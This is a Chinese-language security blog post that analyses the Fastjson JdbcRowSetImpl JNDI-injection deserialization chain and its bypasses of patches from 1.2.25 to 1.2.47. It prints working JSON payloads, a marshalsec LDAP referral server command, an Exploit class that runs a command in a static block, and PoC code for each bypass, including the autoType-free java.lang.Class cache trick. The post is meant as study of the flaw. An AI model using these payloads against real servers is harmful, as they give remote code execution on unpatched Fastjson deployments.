Java安全之FastJson JdbcRowSetImpl 鏈分析
0x00 前言
續上文的Fastjson TemplatesImpl鏈分析,接著來學習JdbcRowSetImpl
利用鏈,JdbcRowSetImpl
的利用鏈在實際運用中較為廣泛,這個鏈基本沒啥限制條件,只需要Json.parse(input)
即可進行命令執行。
0x01 漏洞分析
利用限制
首先來說說限制,基於JNDI+RMI或JDNI+LADP進行攻擊,會有一定的JDK版本限制。
RMI利用的JDK版本≤ JDK 6u132、7u122、8u113
LADP利用JDK版本≤ 6u211 、7u201、8u191
攻擊流程
- 首先是這個lookup(URI)引數可控
- 攻擊者控制URI引數為指定為惡意的一個RMI服務
- 攻擊者RMI伺服器向目標返回一個Reference物件,Reference物件中指定某個精心構造的Factory類;
- 目標在進行
lookup()
操作時,會動態載入並例項化Factory類,接著呼叫factory.getObjectInstance()
獲取外部遠端物件例項; - 攻擊者可以在Factory類檔案的靜態程式碼塊處寫入惡意程式碼,達到RCE的效果;
JDNI注入細節
簡單分析一下lookup引數可控後,如何走到RCE.
呼叫鏈:
- -> RegistryContext.decodeObject()
- -> NamingManager.getObjectInstance()
- -> factory.getObjectInstance()
- -> NamingManager.getObjectFactoryFromReference()
- -> helper.loadClass(factoryName);
loadclass進行例項化,觸發靜態程式碼塊的Runtime程式碼執行命令執行。
除錯分析
影響版本:fastjson <= 1.2.24
payload:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
從前文的TemplatesImpl鏈分析中得知FastJson在反序列化時會去呼叫get、set、is方法。
- @type:目標反序列化類名;
- dataSourceName:RMI註冊中心繫結惡意服務;
- autoCommit:在Fastjson JdbcRowSetImpl鏈中反序列化時,會去呼叫setAutoCommit方法。
詳細分析fastjson如何解析可檢視Fastjson TemplatesImpl鏈分析文章,再次不做贅訴。
啟動LDAP服務端
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/#Exploit 1389
Exploit程式碼,需將程式碼編譯成class檔案然後掛在到web中
import java.io.IOException;
public class Exploit {
public Exploit() {
}
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}
POC程式碼:
package com.nice0e3;
import com.alibaba.fastjson.JSON;
public class POC {
public static void main(String[] args) {
// String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
看到payload中的dataSourceName
引數在解析時候則會呼叫setDataSourceName
對DataSourceNamece
變數進行賦值,來看到程式碼
而autoCommit
也一樣會呼叫setAutoCommit
setAutoCommit
方法呼叫this.connect();
lookup中則是傳入了this.getDataSourceName()
,返回dataSource變數內容。而這個dataSource內容則是在前面setDataSourceName
方法中進行設定的,該引數是可控的。所以可以進行JDNI注入從而達到命令執行。
利用鏈
- -> JdbcRowSetImpl.execute()
- -> JdbcRowSetImpl.prepare()
- -> JdbcRowSetImpl.connect()
- -> InitialContext.lookup(dataSource)
而在Fastjson JdbcRowSetImpl 鏈利用中,則是利用了後半段。
0x02 繞過方式
1.2.25版本修復
先將Fastjson元件升級到1.2.25版本後進行傳送payload,檢視是否能夠利用成功。
修復改動:
- 自從1.2.25 起 autotype 預設為False
- 增加 checkAutoType 方法,在該方法中進行黑名單校驗,同時增加白名單機制
根據官方文件開啟AutoType的方式,假設不開啟該功能是無法進行反序列化的。因為預設白名單是空的,需要自定義。白名單的繞過基本不可能,都是從黑名單作為入口。白名單需要新增,而黑名單中則是內建在Fastjson中。
1、JVM啟動引數
-Dfastjson.parser.autoTypeSupport=true
2、程式碼中設定
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
下面來看程式碼,這裡使用了IDEA中的jar包對比功能
可以看到DefaultJSONParser
傳送了變動,在這裡多了一個checkAutoType
方法去做校驗。
跟進方法檢視
前面會進行白名單的校驗,如果匹配中的話呼叫loadClass載入,返回一個Class物件。 這裡預設白名單的列表為空。
後面這則是會惡意類的黑名單進行匹配,如果載入類的前面包含黑名單所定義的字元則丟擲異常。
1.2.25-1.2.41 繞過
package com.nice0e3;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class POC {
public static void main(String[] args) {
//ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
先來除錯不開啟的情況,前面依舊就會遍歷黑名單對class進行賦值,但最後這個會去檢測如果未開啟,則直接拋異常,開啟則會去返回。
將註釋開啟後,則直接返回class
命令執行成功。但是可以看到前面的class是Lcom.sun.rowset.JdbcRowSetImpl
為什麼也會觸發命令執行?
原因在於com.alibaba.fastjson.parser#TypeUtils.loadClass(typeName, this.defaultClassLoader);
方法中,可跟進檢視。
這裡解析到內容如果為L
開頭,;
結尾的話就會將這2個字元清空,前面其實還有一個[
。
1.2.42 修復方式
修復改動:明文黑名單改為HASH值,checkcheckAutoType
方法新增L
和;
字元過濾。
加密方法位於com.alibaba.fastjson.util.TypeUtils#fnv1a_64
可將進行碰撞獲取值。
1.2.42繞過方式
package com.nice0e3;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class POC {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
在com.alibaba.fastjson.parser#checkcheckAutoType
中將L
和;
進行清空。這裡是利用了雙寫的方式,前面的規則將第一組L
和;
,進行清空,而在TypeUtils.loadclass
中將第二組內容清空。
1.2.43 修復方式
在1.2.43版本中對了LL開頭的繞過進行了封堵
//hash計算基礎引數 long BASIC = -3750763034362895579L; long PRIME = 1099511628211L; //L開頭,;結尾 if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) { //LL開頭 if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) { throw new JSONException("autoType is not support. " + typeName); } className = className.substring(1, className.length() - 1); }
再次執行poc程式碼可以看到報錯了。
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. LLcom.sun.rowset.JdbcRowSetImpl;; at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:914) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:311) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304) at com.alibaba.fastjson.JSON.parse(JSON.java:152) at com.alibaba.fastjson.JSON.parse(JSON.java:162) at com.alibaba.fastjson.JSON.parse(JSON.java:131) at com.nice0e3.POC.main(POC.java:12)
1.2.43 繞過方式
前面可以看到[
也進行了清空,可以從該地方進行入手。
public class POC { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[, \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}"; JSON.parse(PoC); }}
執行報錯了,報錯資訊如下:
Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 44, fastjson-version 1.2.43 at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:451) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:1261) at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:267) at com.alibaba.fastjson.parser.DefaultJSONParser.parseArray(DefaultJSONParser.java:729) at com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze(ObjectArrayCodec.java:183) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:373) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304) at com.alibaba.fastjson.JSON.parse(JSON.java:152) at com.alibaba.fastjson.JSON.parse(JSON.java:162) at com.alibaba.fastjson.JSON.parse(JSON.java:131) at com.nice0e3.POC.main(POC.java:12)
提示缺少了一個{
public class POC { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}"; JSON.parse(PoC); }}
1.2.44 修復方式
將[
進行限制,具體實現可自行檢視。
再次執行前面的poc程式碼可以看到報錯了。
1.2.45繞過方式
利用條件需要目標服務端存在mybatis的jar包,且版本需為3.x.x系列<3.5.0的版本。
public class POC {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://127.0.0.1:1389/Exploit\"}}";
JSON.parse(PoC);
}
}
下面來分析一下使用這個payload為什麼能繞過。其實是藉助了org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
進行繞過,org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
並不在黑名單中。
這裡是對反序列化後的物件是org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
傳入properties
引數,則會去自動呼叫setProperties
而在1.2.46無法執行成功,應該是對該類拉入了黑名單中。
1.2.25-1.2.47通殺
為什麼說這裡標註為通殺呢,其實這裡和前面的繞過方式不太一樣,這裡是可以直接繞過AutoTypeSupport
,即便關閉AutoTypeSupport
也能直接執行成功。
先來看payload
public class POC { public static void main(String[] args) { String PoC = "{\n" + " \"a\":{\n" + " \"@type\":\"java.lang.Class\",\n" + " \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" + " },\n" + " \"b\":{\n" + " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" + " \"dataSourceName\":\"ldap://localhost:1389/badNameClass\",\n" + " \"autoCommit\":true\n" + " }\n" + "}"; JSON.parse(PoC); }}
可以看到payload和前面的payload構造不太一樣,這裡來分析一下。
這裡未開啟AutoTypeSupport
不會走到下面的黑白名單判斷。
fastjson會使用 checkAutoType
方法來檢測@type
中攜帶的類,但這次我們傳入的是一個java.lang.class
來看到com.alibaba.fastjson.parser.DefaultJSONParser.class#parseObject
方法中
跟進deserialze
方法檢視,這裡的deserialze
是MiscCodec#deserialze
上面程式碼會從objVal = parser.parse();
獲取內容為com.sun.rowset.JdbcRowSetImpl
。來看到下面
if (clazz == Class.class) { return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());}
這裡使用了TypeUtils.loadClass
函式載入了strVal
,也就是JdbcRowSetlmpl,跟進發現會將其快取在map中。
這裡的true引數代表開啟快取,如果開啟將惡意類儲存到mapping中
斷點來到com.alibaba.fastjson.parser.DefaultJSONParser#checkAutoType
因為前面將com.sun.rowset.JdbcRowSetImpl
所以這裡能獲取到com.sun.rowset.JdbcRowSetImpl
該判斷不為true,從而繞過黑名單。
而後續則是和前面的一樣,通過dataSourceName
觸發對於的set方法將dataSourceName
變數進行設定,而後通過autoCommit
,觸發setAutoCommit
觸發lookup()
達到命令執行。
參考文章
https://xz.aliyun.com/t/9052
https://xz.aliyun.com/t/7027
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
http://wjlshare.com/archives/1526
0x03 結尾
其實後面還有幾個繞過的方式後面再去做分析,除此外還有一些BCEL來解決fastjson不出網回顯等方面都值得去思考和研究。